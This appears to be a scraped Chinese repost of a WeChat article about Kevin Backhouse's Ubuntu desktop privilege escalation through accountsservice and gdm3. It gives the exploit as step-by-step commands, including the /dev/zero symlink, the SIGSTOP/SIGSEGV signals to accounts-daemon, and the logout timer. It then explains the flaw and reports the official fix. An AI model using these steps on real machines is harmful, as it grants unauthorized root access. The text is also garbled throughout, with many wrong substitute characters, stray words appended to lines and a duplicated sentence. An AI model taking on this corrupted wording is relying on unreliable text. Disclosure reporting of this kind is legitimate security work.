Ubuntu被曝严重漏洞:切换系统语言+输入几行命令,就能获取root权限

 
    
    
     
     
              
     
 
    
公众号关注 杰哥的IT之旅 ”,
  
     
     
      
      
               
      
  
     
选择“ 星标 ”, 重磅干货,第一 时间送达!


来自:量子位git

无需系统密码,就能添加新的sudo用户、获取root权限,过后还能删除不留痕迹。github


这是GitHub安全研究员Kevin Backhouse发现的一个Ubuntu系统大漏洞。web

这种攻击方法很是简单,Backhouse在官方博客中写道:“使用终端中的一些简单命令,并单击几回鼠标,标准用户就能够为本身建立一个管理员账户。”安全

目前还在维护的Ubuntu操做系统均受到影响,包括20.10以及20.0418.0416.04三个LTS版。bash

Backhouse是如何操做的?咱们接着往下看。
微信

攻击方法

首先打开终端,在你的主目录下建立一个软连接:网络


ln -s /dev/zero .pam_environment


(注:若是以上命令没法运行,说明已经存在名为.pam_environment的文件,请把这个文件重命名作好备份!)app

接下来,在系统设置中打开“区域和语言”,而后尝试更改语言。编辑器

该对话框会冻结,只需忽略它,而后返回到终端便可。ide

此时,一个名为accounts-daemon的程序正在消耗100%的CPU内核,所以你的计算机可能会变慢并开始变热。

在终端中,删除软连接。不然,你可能没法使用本身的账户!


rm .pam_environment


下一步是将SIGSTOP信号发送到accounts-daemon,阻止它破坏该CPU内核。可是要作到这一点,首先须要知道accounts-daemon的PID。

你能够经过运行top来找到PID。因为accounts-daemon被卡在一个无限循环中,所以它很快进入top列表的顶部。

或者使用pidof命令来查找PID:


$ pidof accounts-daemon
597


接着用kill命令杀死SIGSTOP信号:


kill -SIGSTOP 597


而后注销账户,但首先须要设置一个计时器,保证在注销后重置accounts-daemon。不然,前面的努力都将白费。


nohup bash -c “sleep 30s; kill -SIGSEGV 597; kill -SIGCONT 597”


注销后等待几秒钟,让SIGSEGV起效。若是漏洞利用成功,则会显示一系列对话框,让你建立一个新的用户账户。这个新账户具备管理员权限,能够运行sudo命令。

Backhouse将整个过程录成了2分多钟的视频,不明白操做方法的能够前去观看:

攻击原理

该漏洞利用了Ubuntu系统中的两个错误:

该漏洞利用了Ubuntu系统中的两个错误:

  • 第一个是accountservice,它是管理计算机上用户账户的服务。

  • 第二个是GNOME显示管理器(gdm3),它能够处理登陆屏幕。

accounts-daemon漏洞

accountsservice守护程序(accounts-daemon)是一项系统服务,能够执行诸如建立新用户账户或更改用户密码的操做,但也能够执行对安全性较不敏感的操做,例如更改用户的图标或首选语言。

Ubuntu使用了通过修改的accountservice服务版本,添加了一个名为is_in_pam_environment的函数,该函数会在用户的主目录中查找一个名为.pam_environment的文件并进行读取。

将.pam_environment连接到/dev/zero可让accountservice服务被拒绝。

由于/dev/zero其实是磁盘上不存在的特殊文件。它由操做系统提供,其行为就像一个无限长的文件,其中每一个字节均为0。

当is_in_pam_environment尝试读取.pam_environment时,它会经过软连接重定向到/dev/zero,而后因为/dev/zero无限长而陷入无限循环。

如此操做会让accounts-daemon丧失其root权限,转而采用用户的较低特权。而后将SIGSEGV发送给账户守护程序使其崩溃。

GNOME漏洞

GNOME显示管理器(gdm3)是Ubuntu用户界面的基本组件。它能够处理用户登陆和注销时启动和中止用户会话之类的事情,还管理登陆屏幕。

当用户进行新系统的初始设置时,会启动一个对话框,它实际上是一个单独的应用程序,称为gnome-initial-setup。

当gdm3查询到用户数量为0时,会启动这个程序。那么gdm3如何检查系统上有多少用户?经过询问accounts-daemon!

不幸的是,accounts-daemon已经被咱们前面的操做整崩溃了,因此gdm3在检查超时后认为账户数量为0,并启动gnome-initial-setup。

而初始化设置的用户必须有管理员权限。

官方紧急修复

Backhouse于10月17日向Ubuntu和GNOME维护人员报告了这些错误,官方已经最新代码中提供了修复程序。建议全部Ubuntu用户都尽快安装更新。

不过,该漏洞仅对桌面版Ubuntu有效。若是使用的是命令行界面,或者是GNOME以外的其余桌面环境,则暂时不受影响。

博客地址:
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

网友讨论:
https://news.ycombinator.com/item?id=25053238


若是您以为这篇文章对您有点用的话,麻烦您为本文来个四连:转发分享、点赞、点在看、留言,由于这将是我写做与分享更多优质文章的最强动力!

本公众号所有博文已整理成一个目录,请在公众号后台回复「 m」获取!

推荐阅读:
一、 经常使用的 Git 命令清单
二、 Linux 修改权限命令 chmod 用法示例
三、 Linux 经典的几款收包引擎
四、 最全 VxLAN 知识详解
五、 什么是堡垒机?为何须要堡垒机?
六、 Linux 系统下对目录扩容的方法
七、 一文吃透 Linux 提权
八、 Linux 日志文件系统原来是这样工做的
九、 Linux 网络状态工具 ss 命令使用详解
十、 一文理解 Linux 平均负载,附排查工具
关注微信公众号「 杰哥的IT之旅」,后台回复「 1024」查看更多内容,回复「 加群备注:地区-职业方向-昵称 便可加入读者交流群。

     
  
       
       
        
        
                 
        
  
       
点个[在看],是对杰哥最大的支持!

本文分享自微信公众号 - 杰哥的IT之旅(Jake_Internet)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索